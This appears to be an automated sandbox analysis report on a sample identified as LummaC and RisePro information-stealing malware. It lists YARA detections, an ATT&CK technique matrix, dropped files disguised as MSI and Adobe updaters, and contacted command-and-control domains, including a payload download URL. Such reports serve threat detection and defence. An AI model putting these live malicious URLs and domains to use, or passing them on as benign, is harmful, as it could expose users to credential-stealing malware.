Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Directory queried: number of queries: 2357

Source: Yara match	File source: 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5948, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2128, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.1824382503.0000000005E26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\uw5Stgma3gbM9Xo4g_6cCoQ.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	411 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	135 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Registry Run Keys / Startup Folder	3 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	741 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	351 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	411 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2q45IEa3Ee.exe	24%	Virustotal		Browse
2q45IEa3Ee.exe	29%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	100%	Avira	TR/AD.Nekark.sbdpe
C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	100%	Avira	TR/AD.Nekark.sbdpe
C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	100%	Avira	TR/AD.Nekark.sbdpe
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	100%	Avira	TR/AD.Nekark.sbdpe
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	77%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bordersoarmanusjuw.shop	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
bordersoarmanusjuw.shop	2%	Virustotal		Browse
https://bordersoarmanusjuw.shop:443/api	16%	Virustotal		Browse
https://bordersoarmanusjuw.shop/	16%	Virustotal		Browse
https://bordersoarmanusjuw.shop/api	16%	Virustotal		Browse
https://bordersoarmanusjuw.shop/api(	9%	Virustotal		Browse
https://bordersoarmanusjuw.shop/0	10%	Virustotal		Browse
https://bordersoarmanusjuw.shop/#	16%	Virustotal		Browse
mealplayerpreceodsju.shop	18%	Virustotal		Browse
absentconvicsjawun.shop	2%	Virustotal		Browse
pushjellysingeywus.shop	2%	Virustotal		Browse
economicscreateojsu.shop	13%	Virustotal		Browse
https://bordersoarmanusjuw.shop/api$	13%	Virustotal		Browse
http://193.233.132.253/lumma1504.exe	23%	Virustotal		Browse
https://bordersoarmanusjuw.shop/apie	15%	Virustotal		Browse
https://bordersoarmanusjuw.shop/pi	2%	Virustotal		Browse
wifeplasterbakewis.shop	2%	Virustotal		Browse
https://bordersoarmanusjuw.shop/apir	13%	Virustotal		Browse
entitlementappwo.shop	17%	Virustotal		Browse
suitcaseacanehalk.shop	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bordersoarmanusjuw.shop	172.67.189.66	true	true	2%, Virustotal, Browse	unknown
ipinfo.io	34.117.186.192	true	false		high
db-ip.com	104.26.5.15	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
bordersoarmanusjuw.shop	true	2%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/api	true	16%, Virustotal, Browse	unknown
mealplayerpreceodsju.shop	true	18%, Virustotal, Browse	unknown
absentconvicsjawun.shop	true	2%, Virustotal, Browse	unknown
http://193.233.132.253/lumma1504.exe	true	23%, Virustotal, Browse	unknown
pushjellysingeywus.shop	true	2%, Virustotal, Browse	unknown
economicscreateojsu.shop	true	13%, Virustotal, Browse	unknown
https://ipinfo.io/widget/demo/81.181.57.52	false		high
wifeplasterbakewis.shop	true	2%, Virustotal, Browse	unknown
https://db-ip.com/demo/home.php?s=81.181.57.52	false		high
suitcaseacanehalk.shop	true	2%, Virustotal, Browse	unknown
entitlementappwo.shop	true	17%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	D87fZN3R3jFeplaces.sqlite.0.dr	false		high
https://bordersoarmanusjuw.shop/k9	RegAsm.exe, 0000000F.00000002.2048327163.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
http://ocsp.sectigo.com0	2q45IEa3Ee.exe	false	URL Reputation: safe	unknown
https://bordersoarmanusjuw.shop/0	RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
https://db-ip.com/	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bordersoarmanusjuw.shop:443/apiSID	RegAsm.exe, 0000000A.00000002.1936237566.0000000001580000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bordersoarmanusjuw.shop:443/api	RegAsm.exe, 00000011.00000002.2130384793.000000000156B000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/San	RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	2q45IEa3Ee.exe, 00000000.00000003.1812141315.0000000005FBF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1814756856.0000000005FDD000.00000004.00000020.00020000.00000000.sdmp, 4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	false		high
https://bordersoarmanusjuw.shop/apiVY	RegAsm.exe, 0000000A.00000002.1936237566.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/Content-Type:	2q45IEa3Ee.exe, 00000000.00000003.1627570903.00000000016F0000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmp	false		high
https://bordersoarmanusjuw.shop/Xavf	RegAsm.exe, 00000011.00000002.2130384793.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/widget/demo/81.181.57.52/0	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bordersoarmanusjuw.shop/es)	RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.253/lumma1504.exedser	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/risepro_bot.52igY	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bordersoarmanusjuw.shop/	RegAsm.exe, RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2048327163.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse	unknown
http://193.233.132.253/lumma1504.exesw	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io:443/widget/demo/81.181.57.52	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_botrisepro8Y	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://ipinfo.io/s	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bordersoarmanusjuw.shop/api$	RegAsm.exe, 00000007.00000002.1920835027.00000000014BD000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/api(	RegAsm.exe, 0000000A.00000002.1936237566.00000000015CF000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/#	RegAsm.exe, 0000000A.00000002.1936828284.00000000037E5000.00000004.00000800.00020000.00000000.sdmp	false	16%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/rx	RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://db-ip.com:443/demo/home.php?s=81.181.57.52	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	2q45IEa3Ee.exe	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://bordersoarmanusjuw.shop/&Y	RegAsm.exe, 0000000A.00000002.1936237566.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://t.me/RiseProSUPPORT	uw5Stgma3gbM9Xo4g_6cCoQ.zip.0.dr	false		high
https://bordersoarmanusjuw.shop/y	RegAsm.exe, 0000000F.00000002.2048327163.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/L	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	2q45IEa3Ee.exe, 00000000.00000003.1812141315.0000000005FBF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1814756856.0000000005FDD000.00000004.00000020.00020000.00000000.sdmp, 4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	false		high
https://bordersoarmanusjuw.shop/apiM	RegAsm.exe, 00000011.00000002.2131175305.0000000003840000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://ipinfo.io/Mozilla/5.0	2q45IEa3Ee.exe, 00000000.00000002.1877753884.0000000001767000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	D87fZN3R3jFeplaces.sqlite.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	2q45IEa3Ee.exe	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1821067278.0000000006026000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr	false		high
https://ipinfo.io/	2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017AB000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.0000000001767000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maxmind.com/en/locate-my-ip-address	2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000003.1627570903.00000000016F0000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	2q45IEa3Ee.exe	false	URL Reputation: safe	unknown
https://bordersoarmanusjuw.shop/O	RegAsm.exe, 00000011.00000002.2130384793.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bordersoarmanusjuw.shop/apie	RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse	unknown
https://bordersoarmanusjuw.shop/ll	RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.winimage.com/zLibDll	2q45IEa3Ee.exe, 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmp	false		high
https://support.mozilla.org	D87fZN3R3jFeplaces.sqlite.0.dr	false		high
https://bordersoarmanusjuw.shop/pi	RegAsm.exe, 0000000B.00000002.1939197101.0000000000795000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	4yAbYkouo2kFHistory.0.dr, SMhcoWrJBtJiHistory.0.dr	false		high
https://bordersoarmanusjuw.shop/piable	RegAsm.exe, 00000007.00000002.1920616270.00000000013CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
